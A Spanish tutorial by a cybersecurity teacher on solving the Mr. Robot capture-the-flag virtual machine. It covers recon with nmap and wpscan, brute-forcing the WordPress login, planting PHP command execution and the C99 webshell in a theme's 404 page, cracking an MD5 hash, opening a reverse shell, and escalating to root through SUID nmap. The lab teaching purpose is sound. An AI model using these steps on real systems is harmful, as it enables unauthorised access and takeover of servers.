El juego de Elliot

Gabriel Martí
22 min readDec 23, 2021

--

Vulnerando la máquina de Mr. Robot

Inicio este artículo para ir explicando los diferentes pasos para solucionar un pequeño reto de Hacking con una Máquina Virtual basada en la popular serie de TV Mr. Robot.

El objetivo de este artículo es dejar una guía de uso y solución tras realizar los pasos en una clase práctica con mis alumnos del CFGS de ASIR con especialización en Ciberseguridad.

La máquina no es nueva, ya tiene unos años y hay bastantes “writeups” y “walkthroughs” publicados en internet, aunque creo que la mayoría están solo en inglés. Este solo va a ser uno más, a mi manera, en el que, además, no he ido al grano, sino que he preferido explicar diferentes alternativas y también el uso y objetivo de cada paso o comando.

La VM se puede descargar del siguiente enlace:

Los elementos a resolver

La VM tiene tres claves ocultas en diferentes ubicaciones. El objetivo principal es, evidentemente, encontrar estas tres claves ocultas. Cada una de esas claves tiene una dificultad creciente, aunque en general no se considera que sea muy difícil.

No se requiere de conocimientos de explotación avanzada ni ingeniería inversa, por lo que se considera de nivel principiante-intermedio.

Mi intención con este artículo, como ya he dicho, es intentar profundizar en algunos aspectos técnicos que a veces no se explican en algunos Write-ups con el objetivo de que el lector entienda que se hace en cada paso, y también a modo de proceso previo para que se intente encontrar la solución antes de leer el resto del contenido.

Importación de la OVA para crear la VM

Tras descargar la “ova” la importo en mi VirtualBox para crear la máquina virtual. Si dispones de WMWare Player también lo puedes hacer. Es cuestión de conocer cada sistema de virtualización y sus peculiaridades. En este caso yo lo hago sobre VirtualBox que es el que uso con mis alumnos.

En las preferencias es probable que ponga por defecto el nombre de “vm” a la máquina. Nos aseguramos de cambiarlo por otro nombre más explícito, por ejemplo “MrRobot” y dejamos el resto de opciones por defecto, pues no requiere muchos recursos de máquina y con 1 CPU y 512Mb de RAM es suficiente.

Hay que tomar nota de otro detalle que veremos más adelante. En la descripción de la máquina, aparece por defecto el texto “WordPress 4.3.1–0”. No quiero hacer spoiler, pero es una pista.

Nota adicional: Es posible que en algunas capturas de pantalla aparezcan direcciones IP diferentes de la maquina Mr.Robot. Esto es debido a que se han ido ejecutando los procesos en diferentes momentos y lugares, y el servidor DHCP puede haber asignado direcciones diferentes.

La máquina de trabajo

Para llevar a cabo las tareas de resolución de este reto voy a utilizar una distribución de Parrot Security, aunque en alguna ocasión para otras demos había usado una maquina Ubuntu para mostrar al usuario que no es imprescindible disponer de una distro Linux específica para Ciberseguridad o hacking como Kali, BackBox, BlackArch, etc, y que podemos ir instalando las herramientas que consideremos necesarias a medida que las vayamos necesitando y utilizando.

La conexión de red

La conexión de red entre ambas máquinas es importante para que estén en la misma subred y sean accesibles. En este caso, para que los diferentes sistemas no interfieran en nuestra red normal conviene que estén dentro de una red NAT. No confundas esto con una conexión NAT, pue esta aísla el sistema detrás de una red local pero no comparte la misma red con otros sistemas configurados también con NAT.

Para ello, deberemos de configurar antes nuestra Red NAT accediendo al menu Archivo → Preferencias → Red, y allí añadir una nueva red

Seguidamente, en la configuración de red de cada uno de los sistemas configuraremos el adaptador como Red NAT y seguidamente elegiremos la red creada. Las opciones avanzadas no hace falta modificarlas, pero en alguna ocasión se pueden presentar problemas con el DHCP y la asignación de direcciones IP, y para esos casos puede ser conveniente cambiar la MAC de vuestro adaptador de Red.

Arranque de Mr Robot

Tras iniciar la VM de Mr Robot nos aparece la siguiente pantalla. Evidentemente no disponemos de usuario y contraseña para hacer un acceso local. El objetivo es obtener información remotamente, por lo tanto, el primer paso es descubrir su ip y que servicios puede tener abiertos a la red.

Comprobación de la Red

Para empezar, vamos a ver que IP tenemos asignada en nuestra máquina usando el comando “ifconfig” o bien “ip address”.

No es algo imprescindible, pero es como un ritual siempre que debo de usar la red, comprobar mi ip, comprobar si hay salida a internet, comprobar si resuelve DNS, etc.

A veces nos pueden surgir otros problemas y no atinamos a saber que falla y es debido a lo anterior.

Así que llegados a este punto nos hemos asegurado que nuestro sistema está en la Red Nat que hemos configurado y tenemos una IP válida asignada por DHCP.

Descubrir la IP de la VM Mr Robot

En este caso la mayoría de usuarios empezarían por usar un Nmap para llevar un escaneo de la red, pero permitidme que use primero otro comando. Se trata de netdiscover.

Netdiscover nos permite hacer un reconocimiento pasivo (también puede ser activo) de nuestra red escuchando los paquetes ARP.

Si estás haciendo esto con una distribución Ubuntu (por ejemplo) deberás instalarla ya que no viene instalada por defecto:

sudo apt install netdiscover

Tras lanzar netdiscover con permisos de root (es necesario) y sabiendo qué dirección MAC tiene asignada la tarjeta de red de la VM, podremos saber rápidamente cuál de los equipos detectados en la lista es el que corresponde a la máquina que nos interesa.

Cierto es que hacemos un poco de trampa, pues se trata de descubrir la máquina de la cual no sabemos ni su IP, ni su MAC, pero es una manera de aprender un nuevo comando y el protocolo ARP.

Otro comando que se puede usar como alternativa es “arp-scan” el cual nos mostrará también la lista de IPs detectadas y las MAC asociadas.

Si has dejado la MAC que asigna VirtualBox por defecto a cada máquina, verás que esta dirección MAC empieza por 08:00:27 cuyos dígitos corresponden al fabricante Pcs Systemtechnik Gmbh, y es el que muestran todas las VM de VirtualBox. En cambio, en la imagen podrás apreciar que la MAC de mi máquina empieza por la secuencia 08:02:27 y el fabricante es (Unknown). Esto es así porque suelo cambiar algún digito de la MAC a propósito cuando conecto la VM a otra red con más equipos y no sea tan evidente cual es la VM que hay que descubrir.

Descubriendo servicios con NMAP

El siguiente paso es usar NMAP para ver qué nos descubre en esta IP.

Como he comentado, también se podría haber usado Nmap directamente obviando el uso de netdiscover y hacer un primer escaneo de todo el rango de red local.

Como en el caso anterior, si usas una distribución de Linux que no lo trae instalado de origen, como puede ser Ubuntu, deberás de instalar nmap de la siguiente manera (obviaré repetir este comentario de aquí en adelante).

sudo apt install nmap

Y seguidamente lanzamos un escaneo básico.

nmap -v -A 192.168.173.6

En el resultado se puede comprobar que tiene abiertos los puertos 80 y 443, y que el 22 está cerrado.

Así que, como es evidente, el próximo paso será abrir el navegador y poner esta IP para ver qué información nos muestra a traves de http / https.

Accediendo con el navegador

Tras abrir Firefox y poner la IP, aparece una bonita animación simulando el arranque de un sistema, finalizando con el contenido que se muestra en la siguiente pantalla.

Aquí podemos jugar un rato con los diferentes comandos que nos muestran desde videos hasta recortes de periódico.

Pero recordemos, que en el momento de importar la “ova” para instalar la VM, aparecía una descripción que decía que tenía un “WordPress”. Y si conoces un poco WP, o te has documentado, sabrás que la dirección del panel de administración es /wp-admin.

Hecho que por otro lado podemos corroborar usando la herramienta nikto, la cual nos muestra que ha encontrado rutas de carpetas y archivos de WordPress.

Nikto es un escáner de vulnerabilidades Open Source que realiza comprobaciones sobre una gran lista de archivos potencialmente peligrosos o vulnerables en los sitios web.

Por lo tanto, tras teclear esta dirección en el navegador:

http://192.168.173.6/wp-admin/

Nos aparece la pantalla de Login para acceder a la Administración del WordPress.

Escaneando WordPress

Como sabemos ya ciertamente que tenemos un WordPress pasamos a utilizar una herramienta específica para escanear sitios WP, la herramienta WPScan (https://wpscan.org/) que está desarrollada en Ruby, por lo que vamos a tener que instalar algunas cosas más en caso de que nuestra distribución de Linux no lo tenga instalado:

sudo apt install ruby
sudo apt install ruby-dev
sudo apt install git curl libssl-dev libreadline-dev zlib1g-dev autoconf bison build-essential libyaml-dev libreadline-dev libncurses5-dev libffi-dev libgdbm-dev
sudo gem install wpscan

Ahora ya podemos ejecutar wpscan indicándole que analice la url de la máquina MrRobot:

wpscan -v --url 192.168.173.6 -e

El contenido generado por el escaneo (y del resto de pruebas) es conveniente guardarlo en una carpeta, en diferentes archivos, pues pudiera darse el caso de que lo necesitemos más adelante y así nos evitamos tener que hacer de nuevo el escaneo.

De momento, entre toda la información que nos muestra, vemos que nos informa de la existencia de un archivo “robots.txt”, algo muy habitual en los sitios web de hoy en día si quieren tener un control sobre su contenido indexado por los diferentes buscadores.

De hecho, es un “you must do” en cualquier sitio web a analizar. Comprobar siempre la existencia de este archivo y ver su contenido.

Veamos pues que nos muestra:

Nos informa del contenido de dos archivos.

fsocity.dic
key-1-of-3.txt

Descargamos el primer archivo, “fsocity.dic” para ver que puede contener.

Y comprobamos que es lo que realmente parece; un diccionario de palabras.

El segundo archivo, “key-1-of-3.txt”, tiene lo que parece ser una clave, que, de momento, aún no sabemos para que va la vamos a necesitar. Tene aspecto de ser una secuencia hexadecimal, y queda claro por el nombre que es la primera clave de las 3 que hay que encontrar.

073403c8a58a1f80d943455fb30724b9

Alternativas

Una alternativa al paso anterior, podría ser usar una herramienta como OWASP Zap, que no es lo mismo que escanear un sitio WordPress, pero nos hubiera descubierto también el archivo “robots.txt”.

Otra opción podría ser usar el comando “dirb” o otra herramienta equivalente “dirbuster”, que nos permiten encontrar archivos y directorios ocultos a partir de un diccionario de posibles nombres.

En este caso uso el primer comando, dirb, en el terminal, al cual le tenemos que indicar una url y un fichero de diccionario a usar, y le daré el que ya se proporciona de origen, llamado “common.txt”.

El resultado no es instantáneo, lleva su tiempo pues va probando diferentes palabras de un diccionario, y debes de ser consciente de ello. Pero nos revelará bastantes archivos y carpetas que inicialmente no se muestra con WPScan.

Y para entender el resultado también es importante en este caso conocer los códigos de respuesta HTTP, y saber que significa, por ejemplo, un código 200, o 301, 403 o 500.

Una buena referencia para ello puede ser la página de Developer Mozilla.

En este caso, los códigos 200 que equivalen a “OK” significan que el archivo que se ha solicitado ha sido encontrado.

Fijándonos en el diccionario

El diccionario que hemos bajado anteriormente lo hemos guardado y no le habíamos hecho más caso. Veamos algunas cosas que hay que tener en cuenta.

Para hacer un ataque de diccionario conviene usar un diccionario adecuado y que este esté optimizado. Es probable que las pistas que nos proporcionen a veces tengan información irrelevante o añadida para despistarnos, y este es uno de los casos.

Veamos porqué:

Primero vamos usar el comando “wc” que nos permite contar caracteres, bytes y líneas de un fichero para obtener el número de palabras del diccionario. Recordemos que cada palabra del diccionario está en una línea, por lo tanto, contar líneas es equivalente a contar palabras.

wc -l fsocity.dic

Comprobamos que el diccionario tiene 858.160 palabras.

Procedo a ordenar el diccionario de palabras y eliminar los posibles duplicados dejando el resultado sobre otro fichero.

cat fsocity.dic | sort -u > fsocity-ordenado.dic

Quedando el nuevo diccionario con 11.451 palabras, lo que demuestra que el diccionario que nos habían facilitado inicialmente tenía muchos duplicados.

Usando el diccionario para hacer fuerza bruta

Ahora el objetivo es intentar hacer fuerza bruta al panel de administración de WordPress y para ello vamos a usar WPScan y el diccionario anterior que se usará para probar contraseñas.

Solo nos falta otro elemento, el nombre de usuario a probar, pues no sabemos cuál puede ser. Así que vamos a intentar deducir el nombre de usuario de una lista hecha por nosotros, entre nombres comúnmente usados y basándonos en nombres de personajes de la serie, a ver si así tenemos un golpe de suerte.

Si nos documentamos un poco, obtendremos una lista de 17 posibles nombres de usuario haciendo una selección sobre los diferentes actores de reparto de la serie y añadiendo alguno que creamos que pueda ser posible.

También se podría usar el mismo diccionario tanto para los usuarios como las contraseñas, aunque esto generaría un gran volumen de combinaciones que llevará mucho más tiempo a probar y sería como “matar moscas a cañonazos”.

De la misma manera, este ataque también va a llevar su tiempo, pues tiene que probar combinaciones de 17 nombres de usuario diferentes, sobre un diccionario de 11.451 posibles contraseñas.

Para ello voy lanzar un escaneo dándole la máxima prioridad usando “nice” e indicando a WordPress que use 10000 hilos para probar las contraseñas.

time ( sudo nice -n -20 wpscan -v - url 192.168.173.6 -P ./fsocity-ordenado.dic -U 'admin, user, luser, mrrobot, elliot, elliotalderson, darlene, krista, samar, tyrell, angela, dominique, whiterose, irving, trenton, shayla, ollie' -t 10000 )

Explicaré un poco el comando anterior:

  • time nos servirá para medir el tiempo total del proceso, aunque en realidad wpscan también nos informa de ello. Aquí podríamos obviarlo, a pesar de que tengo la costumbre de usarlo habitualmente.
  • nice -n -20 indica que el proceso que va a lanzar, indicado a continuación, wpscan, va a tener la máxima prioridad frente a otros procesos del sistema.
  • wpscan usa el diccionario de contraseñas indicado por el parámetro -P y la lista de usuarios indicada por el parámetro -U y los usuarios encerrados entre comillas a continuación.
  • Para finalizar, se le indica a wpscan el número de hilos mediante el parámetro -t 10000.

Ahora el proceso está usando la máxima prioridad, aunque parece que tampoco está usando ni tanta CPU, ni tanta memoria. 😑

El proceso finaliza en poco más de 2 minutos.

Como resultado de esto, obtenemos una combinación válida de usuario y contraseña:

usuario: elliot
password: ER28–0652

Entrando al panel de Administración

Como ya disponemos de las credenciales obtenidas en el ataque de diccionario, podemos acceder directamente al panel de administración.

Y efectivamente, las credenciales son válidas y conseguimos el acceso.

¿Qué podemos hacer ahora?

Pues podemos intentar modificar alguna de las páginas de la plantilla del tema que esté instalado, e insertar un código PHP creado por nosotros mismos y que nos pueda ser de utilidad.

Accediendo a Apariencia → Editor, entre los diferentes archivos que se nos muestran, un buen candidato para insertar nuestro código podría ser la página 404.php que es una plantilla que se ejecutará siempre que no se encuentre una página solicitada del sitio, y en lugar de mostrar el “Error 404” personalizado, se ejecutarán las acciones que hayamos definido.

¿Y qué código podemos poner aquí?

Pues si sabemos programar en php podremos añadir código para poder explorar el sistema. Si no sabes php siempre estás a tiempo de documentarte un poco. Por ejemplo, en la página oficial del lenguaje:

https://www.php.net/docs.php

Podemos ejecutar casi cualquier comando de Linux con la función shell_exec().

Veamos algunos ejemplos:

  1. Ver el contenido del archivo /etc/passwd :

Resultado:

Al cargar una página que no existe, por ejemplo:

http://192.168.173.6/no_existe

Se ejecutará el código que hemos puesto en la plantilla y nos mostrará el contenido del citado fichero.

Como habrás podido deducir, dentro de la variable $comando puedes poner cualquier cadena de comandos de Linux de manera que se ejecutarán en el servidor remoto cada vez que se cargue la página que invoca la plantilla 404.php.

2. Así pues, podemos por ejemplo listar los archivos y carpetas de la raíz del sistema, o incluso de la carpeta home, u otras subcarpetas, a medida que vayamos descubriendo sus nombres e ir encadenando comandos separados por un punto y coma, de la siguiente manera:

Aquí hago un nuevo “spoiler”, pues parece que hemos llegado a la segunda clave:

Pero dejemos por un momento los archivos de clave apartados a un lado, y veamos cómo podríamos hacer esto un poco más versátil, ya que no es práctico ir modificando cada vez el comando que queremos ejecutar dentro de la variable, ¿verdad?

Propongo este otro nuevo código, también muy sencillo:

Se trata de un formulario con un campo de texto donde introduciremos los comandos a ejecutar y un botón que envía el formulario.

Al llamar a cualquier página que no exista nos aparecerá el formulario con el campo de texto en el que podremos teclear los comandos que queramos y al darle al botón de enviar se ejecutarán las órdenes y se mostrará el resultado debajo:

Llegado a este punto, espero que el lector se dé cuenta de dos cosas:

  • La terrible potencia de un fallo de seguridad en un sitio web que nos permita subir nuestro código.
  • Que sea consciente de que se puede crear sus propias herramientas, si sabe programar, las cuales puede reutilizar en muchas ocasiones, y así no depender de otros productos de terceros.

No obstante, y dado que el objetivo de este artículo no era crear una herramienta completa y funcional, para avanzar en la resolución de esta máquina usaremos un código ya preparado denominado webshell.

¿Qué es una webshell?

Es un script preparado para administrar a través del acceso web el sistema. Se consideran piezas maliciosas, pero en realidad es un panel de administración. Nos permite ejecutar comandos, navegar entre directorios, cambiar permisos, mover, borrar o renombrar archivos, editar el contenido de archivos de texto, en incluso algunas disponen de otras opciones más avanzadas.

En este caso sustituiremos el código por defecto de la página 404.php por el código de la webshell C99, que nos permitirá tener acceso al sistema mediante el navegador web de una manera más cómoda.

Puedes descargarla desde el siguiente enlace, pero, siempre que vayas a usar código de terceros, revísalo y pruébalo en entornos controlados.

https://raw.githubusercontent.com/tennc/webshell/master/php/PHPshell/c99/c99.php

Tras sustituir el código php, si intentamos cargar una página cualquiera que no exista se nos cargará el webshell.

http://192.168.173.6/esta_pagina_no_existe

Explorando el sistema con el Webshell C99

Examinando los diferentes archivos del sitio se puede tener acceso al archivo de configuración wp-config.php donde obtenemos las credenciales de acceso a la base de datos.

/** MySQL database username */
define(‘DB_USER’, ‘bn_wordpress’);

/** MySQL database password */
define(‘DB_PASSWORD’, ‘570fd42948’);

Como comprobaremos al final, esta información sobre la base de datos es totalmente irrelevante e inútil.

La segunda clave

Seguimos navegando entre directorios, y llegamos a la carpeta /home/robot/ donde encontraremos los dos archivos, que ya hemos visto antes, que nos indican los ficheros de la segunda clave:

key-2-of-3.txt
password.raw-md5

Hay que tener en cuenta un detalle. El archivo “key-2-of-3.txt” tiene permiso de solo lectura y solo para el usuario “robot” (nótese circulo amarillo en la imagen anterior). Por lo que no podemos ver su contenido.

Pero podemos abrir el archivo “password.raw-md5” así que lo abrimos, y comprobamos que lo que tenemos es un nombre de usuario y el hash de su contraseña. Estos están en una sola línea y separados por el símbolo de los dos puntos.

robot:c3fcd3d76192e4007dfb496cca67e13b

Rompiendo “hashes”

Nos centramos ahora en el archivo anterior, y vemos que el nombre nos proporciona dos pistas: Es un password, y el formato de este es MD5.

¿Qué es MD5?

MD5 es un algoritmo de hashing. Su uso en criptografía es muy diverso. Puede servir para generar una firma de comprobación de un archivo para verificar que no ha sido modificado, o también como método para almacenar una contraseña.

El hash, es decir, la secuencia alfanumérica generada al aplicar el algoritmo sobre una contraseña es lo que suelen almacenar (normalmente) los sistemas en lugar de la contraseña en claro.

Por ejemplo, si nosotros tenemos la contraseña: Robot1337, podemos generar el hash en md5 desde el terminal de Linux con el siguiente comando:

echo -n "robot1337" | md5sum

El detalle de usar el flag “-n” es para que no genere un salto de línea tras el texto, ya que al añadirlo el hash no se correspondería con el texto.

Veremos que nos devuelve una secuencia de números y letras (hexadecimal) que corresponde al hash md5 de dicha contraseña.

Pero el hash no es reversible. Es decir, a partir de este no podemos obtener la contraseña, ya que no es único. Este hash podría ser el mismo para otra cadena de texto (o archivo binario) de un tamaño o longitud totalmente diferentes, quizás mucho mayor, pero existe esta posibilidad. A esto se le llama la colisión de hash, y se asume que, para determinadas situaciones o datos, es asumible.

Así pues, ¿cómo se obtiene la contraseña que corresponde a un hash? Pues generando todas las contraseñas posibles, calculando su hash y comparando con el que buscamos.

Aquí es donde entra en juego la nueva herramienta que vamos a usar, que se llama hashcat.

Partimos del hash de la contraseña guardado en un archivo:

robot:c3fcd3d76192e4007dfb496cca67e13b

echo c3fcd3d76192e4007dfb496cca67e13b > hashrobot

Y usaremos hashcat para romper el hash, y como he comentado anteriormente, el proceso se basa en generar contraseñas, por lo tanto, tendremos que tener una posible lista de contraseñas. Para ello usaremos el mismo diccionario encontrado al principio (por si existe la posibilidad de que la contraseña también esté ahí).

hashcat -m 0./hashrobot ./fsocity-ordenado.dic --force

El flag “-m 0” indica el tipo de hash a romper, MD5, y el “--force” es para que ignore los warnings al no detectar correctamente los drivers de tarjeta de vídeo al estar dentro de una VM.

Pero este diccionario podremos comprobar que no sirve y nos informa de que no se ha encontrado ninguna contraseña. 😥

Así que optaremos por usar otro diccionario llamado “rockyou.txt” que suele estar ubicado dentro de la carpeta /usr/share/wordlists.

Repetimos el proceso con este diccionario:

hashcat -m 0 ./hasrobot /usr/share/wordlists/rockyou.txt --force

En pocos segundos obtenemos la contraseña para el usuario “robot” que es:

abcdefghijklmnopqrstuvwxyz

Ahora nos interesa abrir una consola remota, por ejemplo, con una conexión reversa (reverse shell), para iniciar sesión con el usuario “robot”, pero la opción incorporada en este webshell no funciona debido a un problema de permisos.

Así que tendremos que voy a intentar lanzar la shell reversa utilizando otros recursos, y empezaré por el mismo php y modificando la misma plantilla de 404.php.

La shell reversa

Normalmente se puede lanzar una shell reversa en php abriendo un socket y llamar el shell con proc_open() pasándole los descriptores del socket.

¿Qué es una shell reversa?

Pues un intento de abrir una sesión de terminal, pero en lugar de pedirla el cliente al servidor, es el servidor que se la ofrece al cliente.

En nuestro equipo (en este caso Parrot OS), lanzamos un netcat para que escuche en el puerto 12345 que es el que está establecido en el socket del código php.

nc -nlvp 12345

En este caso los flags indican lo siguiente:

  • n = usa solo direcciones ip
  • l = se pone en modo escucha (listen)
  • v = muestra más información (verbose)
  • p = puerto a usar, que es el que se pone a continuación, 12345

Pero esto provoca un problema como se puede observar en la imagen. La conexión se efectúa, y podemos ejecutar comandos, pero no podemos cambiar de usuario, y con el usuario actual, daemon, no tenemos permisos para ver los ficheros que necesitamos.

Así que hay que buscaremos una alternativa, y desde esta misma conexión veremos si tenemos acceso a python, y como se puede comprobar por la siguiente imagen, efectivamente disponemos de la versión 2.7.6.

Intentaremos lanzar una nueva sesión de terminal, y para ello usaremos el módulo pty que nos permite crear un pseudo terminal.

python -c 'import pty; pty.spawn("/bin/bash")'

Ejecutamos directamente el código poniéndolo dentro de una cadena y pasándolo al intérprete de python con el flag -c. Seguidamente probamos de cambiar de usuario y veremos que esta vez si es posible y ya estamos como usuario “robot”.

En este momento ya podremos ver el contenido de la segunda clave del reto mediante un cat del archivo.

Sabiendo que el formato de todos los archivos de clave es “key-n-of-m.txt” podríamos hacer un intento de búsqueda de todos los archivos que empiecen por “key-” en todo el sistema, pero comprobaremos que no obtenemos ningún resultado.

La tercera clave

Solo nos falta una clave, así que seguiremos con el comando find para ver si podemos encontrar algo útil. Es interesante documentarse bien en los diferentes comandos del sistema, y para ello disponemos de un buen manual. Con man exploramos los diferentes flags y opciones de find.

Nos centramos en los permisos y vamos a ver que es SUID y SGID.

SUID y SGID

SUID significa “Set owner User ID up on execution” es un tipo especial de permisos de archivos dados a un archivo. Normalmente, cuando se ejecuta un programa, hereda los permisos de acceso desde el usuario registrado. SUID se define como dar permisos temporales a un usuario para ejecutar un programa / archivo con los permisos del propietario del archivo en lugar de los del usuario que lo ejecuta. Es decir, los usuarios obtendrán permisos del propietario del archivo.

SGID significa “Set Group ID up on execution” es un tipo especial de permisos de archivos dados a un archivo o una carpeta. SGID es similar a SUID. La diferencia entre ambos es que SUID asume permisos de propietario y SGID asume permisos de grupo.

Visto esto, veamos si encontramos archivos en el sistema que nos permitan ejecutarlos con permisos de otro usuario, por ejemplo: root.

find / -perm -u=s -type f 2>/dev/null

Nos sale una lista de ficheros / comandos, y entre ellos podemos comprobar que tenemos a sudo, y nmap.

Nueva sesión de terminal con Nmap

Nmap tiene además un modo llamado interactivo, que nos permite lanzar otros comandos al sistema, por lo que si nmap tiene permisos elevados y lanzamos un shell desde nmap tendremos permisos del usuario propietario de nmap. Por lo que el siguiente paso es lanzar nmap en modo interactivo.

nmap --interactive

Y una vez cargado, lanzamos una nueva sesión de terminal y podremos comprobar que ya somos “root”.

!sh
whoami

Y ya solo nos queda movernos a la carpeta de root donde encontraremos la tercera clave y obtener su contenido, por lo que habremos completado los tres niveles / retos.

cd /root
ls -al
cat key-3-of-3.txt

Nota final

Aunque cada uno de los pasos indicados aquí parecen muy evidentes, nunca salen todos a la primera, ni en el mismo momento. Yo mismo he tenido que dedicar muchas horas, no solo a probar diferentes opciones que no están reflejadas en este artículo, sino también a documentarme en todos los comandos y opciones del sistema.

La clave está en no desistir y documentarse bien en que hace cada comando del sistema. Siempre hay campo por recorrer y aprender.

El objetivo de este artículo va más allá de conseguir las diferentes claves o vulnerar los permisos de la máquina, pues se pretende que el lector entienda los detalles del funcionamiento y comportamiento del sistema y sus comandos.

--

--

Ex-Docente CFGM, CFGS Ciberseguridad. Actualmente Consultor en Ciberseguridad. Intereses en robótica, ciberseguridad, reversing. Twitter @gmarti @310hkc41b